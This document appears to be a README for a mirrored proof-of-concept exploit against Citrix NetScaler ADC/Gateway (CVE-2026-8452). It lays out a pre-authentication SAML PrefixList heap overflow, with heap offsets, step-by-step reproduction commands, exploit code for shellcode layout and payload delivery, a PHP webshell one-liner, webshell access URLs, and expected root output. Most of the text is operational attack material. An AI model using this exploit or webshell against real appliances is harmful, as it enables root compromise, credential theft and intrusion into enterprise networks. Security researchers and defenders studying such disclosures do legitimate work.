Citrix NetScaler ADC/Gateway -- Pre-Auth SAML PrefixList Heap Overflow to RCE (CVE-2026-8452)

CVE-2026-8452 is a pre-authentication heap buffer overflow in the Citrix NetScaler ADC and Gateway SAML authentication handler. The vulnerability exists in the XML Signature Canonicalization (C14N) processing of the PrefixList attribute within SAML responses. An unauthenticated attacker can send a crafted SAML response with an oversized PrefixList value that overflows a heap buffer in the nsppe (NetScaler Packet Processing Engine) process, achieving arbitrary code execution as euid 0 (root) on the appliance.

The exploit initiates a legitimate SAML SP flow to obtain a valid AuthnRequest ID and ACS URL, then delivers a malicious SAML response containing embedded x86-64 FreeBSD shellcode within the PrefixList overflow payload. The shellcode writes a PHP webshell to the NetScaler VPN theme directory, giving the attacker persistent command execution on the appliance.

Root Cause

The NetScaler AAA module processes incoming SAML responses by parsing their XML digital signatures. During XML Exclusive Canonicalization (exc-c14n), the PrefixList attribute of the InclusiveNamespaces element is parsed into a token array. The parser allocates a fixed-size heap buffer for the namespace prefix tokens but does not validate the total length of the PrefixList value. A crafted PrefixList containing many tokens overflows this buffer, corrupting adjacent heap metadata and objects.

The exploit uses the overflow to:

1. Overwrite specific heap control structures at known offsets in the nsppe process memory (pool at 0x112d30000)
2. Redirect a memcpy destination pointer to place shellcode in a controlled memory region
3. Overwrite a function pointer to redirect execution via jmp rax to the shellcode entry point

Attack Flow

1. SP-initiated SAML flow: The attacker sends requests to /nf/auth/doAuthentication.do and follows redirects to obtain a SAML AuthnRequest, extracting the request ID and Assertion Consumer Service URL.
2. Shellcode assembly: FreeBSD x86-64 shellcode is built using pwntools. It installs signal handlers (SIG_IGN for crash signals), opens /var/vpn/theme/x.php, writes a PHP webshell, and chmods it.
3. PrefixList construction: The shellcode is woven into the gaps between token boundaries in a crafted PrefixList string, with short JMP instructions bridging blocked regions. Heap metadata overwrites are packed at specific offsets.
4. SAML response delivery: A complete SAML response containing the malicious PrefixList is base64-encoded and POSTed to the ACS endpoint.
5. Webshell access: The attacker polls /vpn/theme/x.php?0=uname+-a;id until the shell responds.

Impact

• Pre-authentication remote code execution on the NetScaler appliance
• Execution as euid 0 (root) / egid 0 (wheel)
• Persistent webshell in the VPN theme directory
• Full appliance compromise – credential theft, traffic interception, lateral movement into the internal network
• Requires only SAML SP or IdP configuration on the NetScaler (common in enterprise deployments)

See watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py (274 lines, Python 3) in this folder – mirrored byte-for-byte from watchtowrlabs/watchTowr-vs-Citrix-Netscaler-PreAuth-RCE-CVE-2026-8452. The upstream README is preserved as upstream-README.md.

Step-by-Step Reproduction

1. Set up a vulnerable NetScaler running version 13.1-30.52 with SAML SP configured.
2. Install dependencies: pip install pwntools capstone requests
3. Run the exploit: python3 watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py --target https://<netscaler>:9443/
4. Verify: Access https://<netscaler>:9443/vpn/theme/x.php?0=id to confirm webshell.

Exploit Code

Shellcode layout into PrefixList gaps (bridging blocked regions with JMP trampolines):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

for n, ins in enumerate(insns):
    need = len(ins)
    if n != len(insns) - 1:
        need += 2
    if gaps[g][1] - w < need:
        nxt = gaps[g + 1][0]
        pl[w]     = 0xEB
        pl[w + 1] = (nxt - w - 2) & 0xFF
        g += 1
        w = gaps[g][0]
    pl[w:w + len(ins)] = ins
    w += len(ins)

SAML response delivery:

1
2
3

def deliver(s, acs, xml):
    body = "SAMLResponse=" + urllib.parse.quote(base64.b64encode(xml).decode())
    return s.post(acs, data=body, headers={"Content-Type": "application/x-www-form-urlencoded"})

Expected Output

[*] Connecting to endpoint...
[*] target AAA service is responsive
[*] building shellcode
[+] shellcode size: 268 bytes
[*] triggering jmp rax to 0x112d30180
[*] sent..
[+] webshell will be at https://172.16.5.12:9443/vpn/theme/x.php?0=uname+-a;id
[+] web shell output:

FreeBSD something 11.4-NETSCALER-13.1 ... amd64
uid=65534(nobody) gid=65534(nobody) euid=0(root) egid=0(wheel) groups=0(wheel)

• NVD – CVE-2026-8452
• watchTowr Labs blog
• watchtowrlabs/watchTowr-vs-Citrix-Netscaler-PreAuth-RCE-CVE-2026-8452 (upstream PoC)

Verified this session by reading the full exploit source (watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py, 274 lines). The exploit uses pwntools for FreeBSD x86-64 shellcode assembly and capstone for instruction splitting. The shellcode is purely local to the target appliance: it installs signal handlers (to survive crash signals during heap corruption), opens a file, writes a PHP webshell, and chmods it. The HTTP client uses only the requests library with a legacy SSL adapter for older NetScaler TLS stacks.

Malware screen – clean. No obfuscation, no remote downloaders, no credential exfiltration, no miners, no callbacks. All network traffic is directed solely at the user-specified target. The webshell drop (<?php echo(system($_GET[0])); ?>) is the intended exploitation outcome, not a side effect. No committed binaries – pure Python source.

Hardcoded offsets target NetScaler 13.1-30.52 specifically. Other versions would require offset adjustments.

Author: Sina Kheirkhah (@SinSinology) of watchTowr Labs – one of the most prolific and credible offensive security research teams. watchTowr has published numerous high-profile Citrix/Fortinet/Ivanti exploit chains. The repo uses their standard naming convention and includes the characteristic ASCII banner.